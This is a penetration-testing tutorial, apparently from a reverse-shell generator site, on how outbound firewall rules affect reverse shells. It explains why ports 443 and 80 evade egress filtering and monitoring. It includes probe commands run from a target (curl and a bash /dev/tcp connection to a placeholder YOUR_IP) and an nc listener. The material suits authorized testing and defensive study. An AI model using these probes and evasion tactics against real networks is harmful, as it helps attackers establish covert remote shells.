Egress Filtering and Reverse Shells: Why Port 443 Wins
How outbound firewall rules decide whether a reverse shell connects, how to test egress before you fire, and why 443 and 80 are the default ports.
A reverse shell only works if the target can actually reach your listener. The thing standing in the way is egress filtering — the firewall rules governing outbound traffic. More reverse shells fail here than from any payload bug, and the failure is silent: the payload runs, the connection never arrives, and you are left wondering whether the exploit even fired.
Ingress Is Strict, Egress Is Usually Loose
Firewalls are asymmetric. Inbound rules are tight because exposing services is risky. Outbound rules are often permissive because users need the web — and that asymmetry is the entire reason reverse shells beat bind shells.
But "usually loose" is not "open." Mature networks apply egress filtering too: allowing only specific outbound ports, forcing traffic through a proxy, or doing TLS inspection. Your job is to find a path that is actually permitted.
Why 443 and 80
Pick listener ports that blend into expected traffic. Outbound 443 (HTTPS) and 80 (HTTP) are open on virtually every network because browsing would break otherwise. A reverse shell to 443 looks — at the connection level — like one more HTTPS session.
An odd high port like 4444 is the opposite: nothing legitimate uses it, so a default-deny egress policy drops it and an anomaly-based monitor flags it. If a shell will not connect, moving LPORT to 443 is the single highest-value thing to try (see the LPORT definition).
Test Egress Before You Commit
If you already have basic (even blind) command execution, probe outbound reachability before firing the real payload. From the target:
# Can it reach you on 443 at all?
curl -m 5 https://YOUR_IP/ ; echo "exit: $?"
# Or a raw TCP test
timeout 5 bash -c 'echo > /dev/tcp/YOUR_IP/443' && echo OPEN || echo BLOCKED
Run a listener on your side (nc -lvnp 443) and watch whether the probe lands. Test a couple of candidate ports — 443, then 80, then 53 — and use whichever connects. This converts "my shell mysteriously fails" into a known-good port before you spend your one good execution attempt.
When Only a Proxy Gets Out
Some networks block direct outbound entirely and force everything through an HTTP proxy. A raw TCP reverse shell will not traverse that. The options become heavier — tunnelling the shell over an HTTP/HTTPS channel that uses the proxy, or DNS-based egress where only DNS resolves outbound. Those are deeper topics; the first diagnostic is simply does anything get out directly, and on which port?
Fold It Into Your Triage
Egress is step three in the general checklist — interpreter, quoting, egress, listener. The full walkthrough is why reverse shells fail.
Generate With the Right Port
The reverse shell generator lets you set LPORT to 443 (or whatever your egress test proved open) and emits the payload plus the matching listener, so the port you confirmed is the port you use.
Authorized Testing Only
Probe and connect only from systems you own or are explicitly authorized to test. Authorization is what makes the testing legitimate.